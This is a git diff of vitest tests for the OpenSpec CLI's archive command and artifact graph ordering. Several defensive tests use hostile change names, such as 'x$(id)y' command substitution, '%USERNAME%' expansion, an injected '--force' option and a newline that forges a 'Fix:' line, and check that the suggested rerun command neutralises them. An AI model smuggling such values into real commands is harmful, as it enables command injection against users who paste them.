vi.mocked(confirm).mockReset()); + vi.mocked(confirm).mockImplementation(async () => { + await fs.mkdir(archived, { recursive: true }); + await fs.writeFile(path.join(archived, 'squatter.txt'), 'mine now\n'); + return true; + }); + + // Human mode: JSON mode never reaches the prompt, so the race cannot be + // staged there. The error carries the same diagnostic either way. + await expect(archiveCommand.execute(changeName, {})).rejects.toThrow(/already exists/); + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('reports the retirement, and where it went, in the --json warnings', async () => { + const changeName = 'retire-json-warnings'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + const payload = JSON.parse(lastJsonPayload()); + expect(payload.archive.warnings).toEqual( + expect.arrayContaining([ + expect.stringContaining( + 'legacy-layer - capability retired; deleted the main spec (all requirements removed' + + ', declared by retire_capabilities)' + ), + ]) + ); + // Purpose always goes with the file, so it is named alongside the rest, + // and a JSON consumer gets the recovery command too. + const notes = payload.archive.warnings.join('\n'); + expect(notes).toContain('Purpose'); + expect(notes).toContain('git checkout HEAD -- ":(top)openspec/specs/legacy-layer/spec.md"'); + }); + + it('claims no retirement for a spec that was already gone', async () => { + const changeName = 'retire-already-gone-json'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + const payload = JSON.parse(lastJsonPayload()); + expect(payload.archive.specsUpdated).toBe(false); + expect(payload.archive.totals).toEqual({ added: 0, modified: 0, removed: 0, renamed: 0 }); + expect(JSON.stringify(payload.archive.warnings ?? [])).not.toContain('capability retired'); + }); + + + describe('isRetirableSpec', () => { + const REQUIREMENTLESS = `# legacy-layer Specification\n\n## Purpose\n${PURPOSE}\n\n## Requirements\n`; + + it('is false for a spec that validates', async () => { + await expect( + isRetirableSpec('legacy-layer', mainSpec('legacy-layer')) + ).resolves.toBe(false); + }); + + it('is true when the only error is that it has no requirements', async () => { + await expect(isRetirableSpec('legacy-layer', REQUIREMENTLESS)).resolves.toBe(true); + }); + + it('is false for a different single error', async () => { + // No Purpose section: a real failure, but not the one retirement replaces. + await expect( + isRetirableSpec( + 'legacy-layer', + `# legacy-layer Specification\n\n## Requirements\n\n${REQUIREMENT}\n` + ) + ).resolves.toBe(false); + }); + + it('is false when another error accompanies the missing requirements', async () => { + // A requirement stranded under a trailing section: "no requirements" + // AND "header outside the main ## Requirements section". + const stranded = [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '## Appendix', + '', + REQUIREMENT, + '', + ].join('\n'); + const report = await new Validator().validateSpecContent('legacy-layer', stranded); + const errors = report.issues.filter((issue) => issue.level === 'ERROR'); + // Guards the `every` rather than `some`: this shape carries the + // no-requirements error alongside at least one other. + expect(errors.length).toBeGreaterThan(1); + expect(errors.map((issue) => issue.message)).toContain( + VALIDATION_MESSAGES.SPEC_NO_REQUIREMENTS + ); + await expect(isRetirableSpec('legacy-layer', stranded)).resolves.toBe(false); + }); + }); + + it('reports the retirement in --json instead of printing progress lines', async () => { + const changeName = 'retire-json'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + await expect(fs.access(mainSpecDir)).rejects.toThrow(); + const calls = (console.log as unknown as ReturnType<typeof vi.fn>).mock.calls.map( + (call) => String(call[0]) + ); + // JSON mode prints exactly one payload and no human progress lines. + expect(calls.some((line) => line.includes('Retiring'))).toBe(false); + const payload = JSON.parse(calls[calls.length - 1]); + expect(payload.archive.specsUpdated).toBe(true); + expect(payload.archive.totals).toEqual({ added: 0, modified: 0, removed: 1, renamed: 0 }); + }); + }); + + describe('non-interactive prompts (#1479)', () => { + // An AI agent (or any script) runs the CLI with stdin closed, so every + // prompt rejects with @inquirer's "User force closed the prompt with 0 + // null". Archive used to surface that verbatim - or, for the change + // picker, swallow it and exit 0 - which told the caller nothing about + // which flag to pass. + const originalIsTty = process.stdin.isTTY; + + function setStdinIsTty(value: boolean | undefined): void { + Object.defineProperty(process.stdin, 'isTTY', { + value, + configurable: true, + writable: true, + }); + } + + function exitPromptError(): Error { + const error = new Error('User force closed the prompt with 0 null'); + error.name = 'ExitPromptError'; + return error; + } + + beforeEach(async () => { + setStdinIsTty(false); + // vi.clearAllMocks() clears recorded calls but leaves queued + // `...Once` answers from earlier tests behind; drain them so each + // prompt here rejects the way a closed stdin makes it reject. + const { confirm, select } = await import('@inquirer/prompts'); + (confirm as unknown as ReturnType<typeof vi.fn>).mockReset(); + (select as unknown as ReturnType<typeof vi.fn>).mockReset(); + }); + + afterEach(() => { + setStdinIsTty(originalIsTty); + }); + + async function createChangeWithDeltaSpec(changeName: string): Promise<string> { + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(path.join(changeDir, 'specs', 'greeting'), { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'specs', 'greeting', 'spec.md'), + `## ADDED Requirements + +### Requirement: Greeting +The system SHALL greet the user. + +#### Scenario: Greets on request +- **WHEN** the user says hello +- **THEN** the system greets back +` + ); + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + `## Why +This change exists to document greeting behavior thoroughly for the team, which is long enough. + +## What Changes +- Add a greeting requirement. +` + ); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + return changeDir; + } + + it('names the flag when the spec-update confirmation cannot be answered', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValueOnce(exitPromptError()); + + const changeName = 'non-interactive-specs'; + const changeDir = await createChangeWithDeltaSpec(changeName); + + await expect(archiveCommand.execute(changeName)).rejects.toMatchObject({ + message: 'Updating 1 spec(s) requires confirmation, and no answer could be read from stdin.', + diagnostic: { + code: 'archive_confirmation_required', + fix: `openspec archive ${changeName} --yes`, + }, + }); + + // Nothing was archived and no spec was written. + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'specs', 'greeting', 'spec.md')) + ).rejects.toThrow(); + }); + + it('names the flag when the incomplete-task confirmation cannot be answered', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValueOnce(exitPromptError()); + + const changeName = 'non-interactive-tasks'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const spec1Dir = path.join(changeDir, 'specs', 'omega'); - const spec2Dir = path.join(changeDir, 'specs', 'psi'); - await fs.mkdir(spec1Dir, { recursive: true }); - await fs.mkdir(spec2Dir, { recursive: true }); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + await expect(archiveCommand.execute(changeName)).rejects.toMatchObject({ + message: `1 incomplete task(s) found for change '${changeName}', and no answer could be read from stdin.`, + diagnostic: { + code: 'archive_tasks_incomplete', + fix: `Complete the tasks or rerun with openspec archive ${changeName} --yes`, + }, + }); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); - // Existing main specs - const omegaMain = path.join(tempDir, 'openspec', 'specs', 'omega', 'spec.md'); - await fs.mkdir(path.dirname(omegaMain), { recursive: true }); - await fs.writeFile(omegaMain, `# omega Specification\n\n## Purpose\nOmega purpose.\n\n## Requirements\n\n### Requirement: O1\no1`); + it('carries the flags the caller already passed into the suggested rerun', async () => { + // Suggesting a bare `--yes` rerun for `archive x --skip-specs` would + // merge deltas into the main specs - the exact thing --skip-specs was + // passed to prevent. + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValue(exitPromptError()); - const psiMain = path.join(tempDir, 'openspec', 'specs', 'psi', 'spec.md'); - await fs.mkdir(path.dirname(psiMain), { recursive: true }); - await fs.writeFile(psiMain, `# psi Specification\n\n## Purpose\nPsi purpose.\n\n## Requirements\n\n### Requirement: P1\np1`); + const changeName = 'non-interactive-flags'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); - // Deltas: omega add one, psi rename and modify -> totals: +1, ~1, -0, →1 - await fs.writeFile(path.join(spec1Dir, 'spec.md'), `# Omega - Changes\n\n## ADDED Requirements\n\n### Requirement: O2\nnew`); - await fs.writeFile(path.join(spec2Dir, 'spec.md'), `# Psi - Changes\n\n## RENAMED Requirements\n- FROM: \`### Requirement: P1\`\n- TO: \`### Requirement: P2\`\n\n## MODIFIED Requirements\n### Requirement: P2\nupdated`); + await expect( + archiveCommand.execute(changeName, { skipSpecs: true }) + ).rejects.toMatchObject({ + diagnostic: { + fix: `Complete the tasks or rerun with openspec archive ${changeName} --skip-specs --yes`, + }, + }); - await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + // Flags compose: the rerun has to reproduce the whole invocation. + await expect( + archiveCommand.execute(changeName, { skipSpecs: true, noValidate: true }) + ).rejects.toMatchObject({ + diagnostic: { + fix: `openspec archive ${changeName} --skip-specs --no-validate --yes`, + }, + }); - // Verify aggregated totals line was printed - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('Totals: + 1, ~ 1, - 0, → 1') + // `validate: false` is the shape Commander actually produces for + // `--no-validate`; `noValidate: true` above is the programmatic + // spelling. Both legs of that disjunction have to emit the flag, and + // neither may emit it twice. Skipping validation is confirmed before + // tasks are counted, so this one blocks at that earlier prompt. + await expect( + archiveCommand.execute(changeName, { validate: false }) + ).rejects.toMatchObject({ + diagnostic: { + code: 'archive_confirmation_required', + fix: `openspec archive ${changeName} --no-validate --yes`, + }, + }); + }); + + // Windows rejects control characters in a filename outright, so the + // directory this needs cannot exist there - which is also why the hole it + // covers is POSIX-only. + it.skipIf(process.platform === 'win32')('cannot let a change directory forge its own Fix line', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValue(exitPromptError()); + + // Human mode prints the message verbatim, so a newline in the directory + // name could add a second, attacker-chosen `Fix:` line - and it is + // precisely these names whose real fix degrades to `<change-name>`, + // which would leave the forged line as the only pasteable command. + const changeName = 'sneaky\nFix: openspec archive other --yes'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + const error = await archiveCommand.execute(changeName).catch((err) => err); + + expect(error.message).not.toContain('\n'); + expect(error.message).toBe( + "1 incomplete task(s) found for change 'sneaky?Fix: openspec archive other --yes', and no answer could be read from stdin." + ); + // The real fix still refuses to guess a command for an unquotable name. + expect(error.diagnostic.fix).toBe( + 'Complete the tasks or rerun with openspec archive <change-name> --yes' ); }); - }); - describe('error handling', () => { - it('should throw error when openspec directory does not exist', async () => { - // Remove openspec directory - await fs.rm(path.join(tempDir, 'openspec'), { recursive: true }); - - await expect( - archiveCommand.execute('any-change', { yes: true }) - ).rejects.toThrow("No OpenSpec changes directory found. Run 'openspec init' first."); + it('quotes a change name that would not paste back as one argument', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValue(exitPromptError()); + + // Archive resolves a change by stat-ing its directory, so the name is + // whatever the directory is called. + async function fixFor(changeName: string): Promise<string> { + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + const error = await archiveCommand.execute(changeName).catch((err) => err); + return error.diagnostic.fix; + } + + // Double quotes are the one form bash, zsh, PowerShell and cmd.exe all + // read the same way. + expect(await fixFor('my change')).toBe( + 'Complete the tasks or rerun with openspec archive "my change" --yes' + ); + + // A name with no portable spelling names the placeholder rather than + // emitting a command that would expand. + expect(await fixFor('x$(id)y')).toBe( + 'Complete the tasks or rerun with openspec archive <change-name> --yes' + ); + + // cmd.exe expands `%NAME%` inside double quotes, so a quoted rerun would + // target whatever the variable holds instead of the change. + expect(await fixFor('%USERNAME%')).toBe( + 'Complete the tasks or rerun with openspec archive <change-name> --yes' + ); + + // `!` expands inside double quotes too - cmd.exe under delayed + // expansion, bash under interactive history expansion. + expect(await fixFor('fix!thing')).toBe( + 'Complete the tasks or rerun with openspec archive <change-name> --yes' + ); + + // A leading dash is read as an option however it is quoted, so it goes + // behind the `--` that ends option parsing. + expect(await fixFor('--force')).toBe( + 'Complete the tasks or rerun with openspec archive --yes -- --force' + ); }); - }); - describe('interactive mode', () => { - it('should use select prompt for change selection', async () => { - const { select } = await import('@inquirer/prompts'); - const mockSelect = select as unknown as ReturnType<typeof vi.fn>; - - // Create test changes - const change1 = 'feature-a'; - const change2 = 'feature-b'; - await fs.mkdir(path.join(tempDir, 'openspec', 'changes', change1), { recursive: true }); - await fs.mkdir(path.join(tempDir, 'openspec', 'changes', change2), { recursive: true }); - - // Mock select to return first change - mockSelect.mockResolvedValueOnce(change1); - - // Execute without change name - await archiveCommand.execute(undefined, { yes: true }); - - // Verify select was called with correct options (values matter, names may include progress) - expect(mockSelect).toHaveBeenCalledWith(expect.objectContaining({ - message: 'Select a change to archive', - choices: expect.arrayContaining([ - expect.objectContaining({ value: change1 }), - expect.objectContaining({ value: change2 }) - ]) - })); - - // Verify the selected change was archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives[0]).toContain(change1); + it('rethrows a prompt failure that is not about a missing answer', async () => { + // Only the "nobody could answer" failure earns the guidance. Anything + // else - an IO error, a bug in a future prompt refactor - must surface + // as itself rather than be relabelled "rerun with --yes". + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValueOnce(new Error('EACCES: permission denied')); + + const changeName = 'non-interactive-io-error'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + const error = await archiveCommand.execute(changeName).catch((err) => err); + expect(error).toBeInstanceOf(Error); + expect(error.message).toBe('EACCES: permission denied'); + expect(error).not.toHaveProperty('diagnostic'); }); - it('should use confirm prompt for task warnings', async () => { + it('names the flag when the skip-validation confirmation cannot be answered', async () => { const { confirm } = await import('@inquirer/prompts'); const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; - - const changeName = 'incomplete-interactive'; + mockConfirm.mockRejectedValueOnce(exitPromptError()); + + const changeName = 'non-interactive-no-validate'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); await fs.mkdir(changeDir, { recursive: true }); - - // Create tasks.md with incomplete tasks - const tasksContent = '- [ ] Task 1'; - await fs.writeFile(path.join(changeDir, 'tasks.md'), tasksContent); - - // Mock confirm to return true (proceed) - mockConfirm.mockResolvedValueOnce(true); - - // Execute without --yes flag - await archiveCommand.execute(changeName); - - // Verify confirm was called - expect(mockConfirm).toHaveBeenCalledWith({ - message: 'Warning: 1 incomplete task(s) found. Continue?', - default: false + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await expect( + archiveCommand.execute(changeName, { noValidate: true }) + ).rejects.toMatchObject({ + message: 'Skipping validation requires confirmation, and no answer could be read from stdin.', + diagnostic: { + code: 'archive_confirmation_required', + fix: `openspec archive ${changeName} --no-validate --yes`, + }, }); + await expect(fs.access(changeDir)).resolves.not.toThrow(); }); - it('should cancel when user declines task warning', async () => { + it('asks for a change name instead of reporting a silent cancellation', async () => { + const { select } = await import('@inquirer/prompts'); + const mockSelect = select as unknown as ReturnType<typeof vi.fn>; + mockSelect.mockRejectedValueOnce(exitPromptError()); + + await fs.mkdir(path.join(tempDir, 'openspec', 'changes', 'some-change'), { + recursive: true, + }); + + await expect(archiveCommand.execute(undefined, { yes: true })).rejects.toMatchObject({ + diagnostic: { + code: 'archive_change_name_required', + // --yes because the same caller cannot answer the confirmations + // waiting further down either. + fix: 'openspec archive <change-name> --yes', + }, + }); + expect(console.log).not.toHaveBeenCalledWith('No change selected. Aborting.'); + }); + + it('carries the caller\'s flags into the change-name request too', async () => { + const { select } = await import('@inquirer/prompts'); + const mockSelect = select as unknown as ReturnType<typeof vi.fn>; + mockSelect.mockRejectedValueOnce(exitPromptError()); + + await fs.mkdir(path.join(tempDir, 'openspec', 'changes', 'some-change'), { + recursive: true, + }); + + await expect( + archiveCommand.execute(undefined, { skipSpecs: true }) + ).rejects.toMatchObject({ + diagnostic: { fix: 'openspec archive <change-name> --skip-specs --yes' }, + }); + }); + + it('leaves a prompt that failed at a usable terminal alone', async () => { + // The terminal is what proves an answer was possible. Losing that leg + // would relabel a failure a human could have answered. + setStdinIsTty(true); + const originalCi = process.env.CI; + const originalOpenSpecInteractive = process.env.OPEN_SPEC_INTERACTIVE; + delete process.env.CI; + delete process.env.OPEN_SPEC_INTERACTIVE; + + try { + const { select } = await import('@inquirer/prompts'); + const mockSelect = select as unknown as ReturnType<typeof vi.fn>; + mockSelect.mockRejectedValueOnce(exitPromptError()); + + await fs.mkdir(path.join(tempDir, 'openspec', 'changes', 'some-change'), { + recursive: true, + }); + + await expect(archiveCommand.execute(undefined, { yes: true })).resolves.toBeUndefined(); + expect(console.log).toHaveBeenCalledWith('No change selected. Aborting.'); + } finally { + if (originalCi === undefined) delete process.env.CI; + else process.env.CI = originalCi; + if (originalOpenSpecInteractive === undefined) delete process.env.OPEN_SPEC_INTERACTIVE; + else process.env.OPEN_SPEC_INTERACTIVE = originalOpenSpecInteractive; + } + }); + + it('reports guidance when a runner allocated a terminal but declared CI', async () => { + // isInteractive() treats CI as authoritative, so a pty-allocating CI + // job must get the guidance rather than the raw @inquirer failure. + setStdinIsTty(true); + const originalCi = process.env.CI; + process.env.CI = 'true'; + + try { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + mockConfirm.mockRejectedValueOnce(exitPromptError()); + + const changeName = 'non-interactive-ci-pty'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + await expect(archiveCommand.execute(changeName)).rejects.toMatchObject({ + diagnostic: { code: 'archive_tasks_incomplete' }, + }); + } finally { + if (originalCi === undefined) delete process.env.CI; + else process.env.CI = originalCi; + } + }); + + it('leaves JSON mode untouched', async () => { const { confirm } = await import('@inquirer/prompts'); const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; - - const changeName = 'cancel-test'; + + const changeName = 'non-interactive-json'; + await createChangeWithDeltaSpec(changeName); + + await archiveCommand.execute(changeName, { json: true }); + + // JSON mode never reaches a prompt: it blocks with its own diagnostic. + expect(mockConfirm).not.toHaveBeenCalled(); + const payload = JSON.parse( + (console.log as unknown as ReturnType<typeof vi.fn>).mock.calls.at(-1)![0] as string + ); + expect(payload.status[0].code).toBe('archive_confirmation_required'); + expect(process.exitCode).toBe(1); + }); + }); + + describe('proposal warnings (#498)', () => { + const LONG_WHY = + 'This change exists to document AI application patterns thoroughly for the team, which is long enough.'; + + async function createChange( + changeName: string, + why: string, + deltaSpec: string + ): Promise<string> { + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(path.join(changeDir, 'specs', 'docs'), { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + `# Proposal\n\n## Why\n${why}\n\n## What Changes\n- Add docs.\n` + ); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile(path.join(changeDir, 'specs', 'docs', 'spec.md'), deltaSpec); + return changeDir; + } + + function loggedLines(): string[] { + return (console.log as unknown as ReturnType<typeof vi.fn>).mock.calls.map( + (call) => String(call[0]) + ); + } + + // A stray non-`### Requirement:` header inside a delta section used to be + // parsed as a requirement, so archive blamed a requirement that does not + // exist while `openspec validate` reported the change as valid (#498). + it('does not report phantom requirement warnings for a stray delta header', async () => { + const changeName = 'stray-header'; + await createChange( + changeName, + LONG_WHY, + [ + '# Docs Delta', + '', + '## ADDED Requirements', + '', + '### Documentation Requirements', + '', + '### Requirement: AI Application Documentation', + 'Teams building AI applications SHALL document agent definitions.', + '', + '#### Scenario: Agent Definition Documentation', + '- **WHEN** a team ships an agent', + '- **THEN** the agent definition is documented', + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const output = loggedLines().join('\n'); + expect(output).not.toContain('Proposal warnings in proposal.md'); + expect(output).not.toContain('Requirement must have at least one scenario'); + + // The change still archives, exactly as `validate` predicted. + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives).toEqual([expect.stringMatching(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`))]); + }); + + // REMOVED requirements are names-only by design, so delta spec validation + // exempts them. The proposal report did not, and warned about a missing + // scenario on every correct removal. + it('does not warn about missing scenarios for REMOVED requirements', async () => { + const changeName = 'removal'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(path.join(changeDir, 'specs', 'docs'), { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + `# Proposal\n\n## Why\n${LONG_WHY}\n\n## What Changes\n- Remove docs.\n` + ); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile( + path.join(changeDir, 'specs', 'docs', 'spec.md'), + '# Docs Delta\n\n## REMOVED Requirements\n\n### Requirement: Old Thing\n' + ); + // The removal needs a main spec to remove the requirement from. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'docs'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + '# docs Specification\n\n## Purpose\nDocs.\n\n## Requirements\n### Requirement: Old Thing\nThe system SHALL do the old thing.\n\n#### Scenario: Old\n- **WHEN** invoked\n- **THEN** it happens\n' + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const output = loggedLines().join('\n'); + expect(output).not.toContain('Proposal warnings in proposal.md'); + expect(output).not.toContain('Requirement must have at least one scenario'); + }); + + it('still reports genuine proposal-level warnings', async () => { + const changeName = 'short-why'; + await createChange( + changeName, + 'Short.', + [ + '# Docs Delta', + '', + '## ADDED Requirements', + '', + '### Requirement: Real Requirement', + 'The system SHALL do a thing.', + '', + '#### Scenario: It works', + '- **WHEN** invoked', + '- **THEN** it works', + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const output = loggedLines().join('\n'); + expect(output).toContain('Proposal warnings in proposal.md'); + expect(output).toContain('Why section must be at least 50 characters'); + }); + + // The filter is anchored to the dot-joined Zod paths + // (`deltas.<n>.requirement(s).…`). Rules in applyChangeRules use bracket + // notation (`deltas[<n>].description`) and describe simple deltas parsed + // from `## What Changes`, which are proposal-level. They must survive. + it('keeps proposal-level warnings about simple deltas from What Changes', async () => { + const changeName = 'simple-deltas'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); await fs.mkdir(changeDir, { recursive: true }); - - // Create tasks.md with incomplete tasks - const tasksContent = '- [ ] Task 1'; - await fs.writeFile(path.join(changeDir, 'tasks.md'), tasksContent); - - // Mock confirm to return false (cancel) for validation skip - mockConfirm.mockResolvedValueOnce(false); - // Mock another false for task warning - mockConfirm.mockResolvedValueOnce(false); - - // Execute without --yes flag but skip validation to test task warning - await archiveCommand.execute(changeName, { noValidate: true }); - - // Verify archive was cancelled - expect(console.log).toHaveBeenCalledWith('Archive cancelled.'); - - // Verify change was not archived + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + '# Proposal\n\n## Why\nShort.\n\n## What Changes\n- **docs:** add x\n' + ); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + const output = loggedLines().join('\n'); + expect(output).toContain('Proposal warnings in proposal.md'); + expect(output).toContain(VALIDATION_MESSAGES.DELTA_DESCRIPTION_TOO_BRIEF); + expect(output).toContain(`ADDED ${VALIDATION_MESSAGES.DELTA_MISSING_REQUIREMENTS}`); + }); + + // Real delta defects are still caught. A missing scenario used to be + // reported three times (twice as proposal warnings, once by the delta + // report) and is now reported once, by the delta report. + it('still blocks the archive on real delta requirement errors, reported once', async () => { + const changeName = 'bad-delta'; + const changeDir = await createChange( + changeName, + LONG_WHY, + [ + '# Docs Delta', + '', + '## ADDED Requirements', + '', + '### Requirement: Missing Scenario', + 'The system SHALL do a thing.', + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const lines = loggedLines(); + const output = lines.join('\n'); + expect(output).toContain('Validation errors in change delta specs'); + expect(output).toContain('must include at least one scenario'); + expect(output).not.toContain('Proposal warnings in proposal.md'); + expect( + lines.filter((line) => line.includes('must include at least one scenario')) + ).toHaveLength(1); + + // The change was not archived. await expect(fs.access(changeDir)).resolves.not.toThrow(); }); }); diff --git a/test/core/artifact-graph/graph.test.ts b/test/core/artifact-graph/graph.test.ts index 5602075400..9cbf2fceae 100644 --- a/test/core/artifact-graph/graph.test.ts +++ b/test/core/artifact-graph/graph.test.ts @@ -114,7 +114,7 @@ artifacts: expect(order.indexOf('C')).toBeLessThan(order.indexOf('D')); }); - it('should return independent artifacts in stable sorted order', () => { + it('should return independent artifacts in declaration order', () => { const schema = createSchema([ { id: 'Z', generates: 'z.md', description: 'Z', template: 't.md', requires: [] }, { id: 'A', generates: 'a.md', description: 'A', template: 't.md', requires: [] }, @@ -124,8 +124,34 @@ artifacts: const order = graph.getBuildOrder(); - // All independent, should be sorted alphabetically for stability - expect(order).toEqual(['A', 'M', 'Z']); + // All independent: the schema's declared sequence wins, not the alphabet + expect(order).toEqual(['Z', 'A', 'M']); + }); + + it('should break sibling ties by declaration order, not alphabetically', () => { + // Both children become ready together; the schema declares the later + // letter first, so alphabetical sorting would reverse the author's order. + const schema = createSchema([ + { id: 'root', generates: 'root.md', description: 'root', template: 't.md', requires: [] }, + { id: 'second', generates: 'second.md', description: 'second', template: 't.md', requires: ['root'] }, + { id: 'first', generates: 'first.md', description: 'first', template: 't.md', requires: ['root'] }, + ]); + const graph = ArtifactGraph.fromSchema(schema); + + expect(graph.getBuildOrder()).toEqual(['root', 'second', 'first']); + }); + + it('should prefer a waiting artifact declared before an already-queued root', () => { + // laterRoot is ready from the start but declared last; child becomes ready + // once root is built and is declared earlier, so it must come first. + const schema = createSchema([ + { id: 'root', generates: 'root.md', description: 'root', template: 't.md', requires: [] }, + { id: 'child', generates: 'child.md', description: 'child', template: 't.md', requires: ['root'] }, + { id: 'laterRoot', generates: 'later.md', description: 'later', template: 't.md', requires: [] }, + ]); + const graph = ArtifactGraph.fromSchema(schema); + + expect(graph.getBuildOrder()).toEqual(['root', 'child', 'laterRoot']); }); }); @@ -186,6 +212,17 @@ artifacts: // Both B and C completed - D ready expect(graph.getNextArtifacts(new Set(['A', 'B', 'C']))).toEqual(['D']); }); + + it('should list ready siblings in declaration order', () => { + const schema = createSchema([ + { id: 'root', generates: 'root.md', description: 'root', template: 't.md', requires: [] }, + { id: 'second', generates: 'second.md', description: 'second', template: 't.md', requires: ['root'] }, + { id: 'first', generates: 'first.md', description: 'first', template: 't.md', requires: ['root'] }, + ]); + const graph = ArtifactGraph.fromSchema(schema); + + expect(graph.getNextArtifacts(new Set(['root']))).toEqual(['second', 'first']); + }); }); describe('isComplete', () => { @@ -264,5 +301,16 @@ artifacts: expect(graph.getBlocked(new Set(['A', 'B']))).toEqual({}); }); + + it('should list unmet dependencies in declaration order', () => { + const schema = createSchema([ + { id: 'second', generates: 'second.md', description: 'second', template: 't.md', requires: [] }, + { id: 'first', generates: 'first.md', description: 'first', template: 't.md', requires: [] }, + { id: 'last', generates: 'last.md', description: 'last', template: 't.md', requires: ['first', 'second'] }, + ]); + const graph = ArtifactGraph.fromSchema(schema); + + expect(graph.getBlocked(new Set())).toEqual({ last: ['second', 'first'] }); + }); }); }); diff --git a/test/core/artifact-graph/instruction-loader.test.ts b/test/core/artifact-graph/instruction-loader.test.ts index 9d8f612cd8..ce3e153255 100644 --- a/test/core/artifact-graph/instruction-loader.test.ts +++ b/test/core/artifact-graph/instruction-loader.test.ts @@ -18,6 +18,9 @@ describe('instruction-loader', () => { expect(template).toContain('## Why'); expect(template).toContain('## What Changes'); + expect(template).toContain('specs/<capability-path>/spec.md'); + expect(template).toContain('<existing-capability-path>'); + expect(template).toContain('exact existing path under openspec/specs/'); }); it('should throw TemplateLoadError for non-existent template', () => { @@ -41,6 +44,35 @@ describe('instruction-loader', () => { expect((err as TemplateLoadError).templatePath).toContain('nonexistent.md'); } }); + + it('should reject a template symlink that escapes its schema', () => { + if (process.platform === 'win32') return; + + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-template-boundary-')); + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 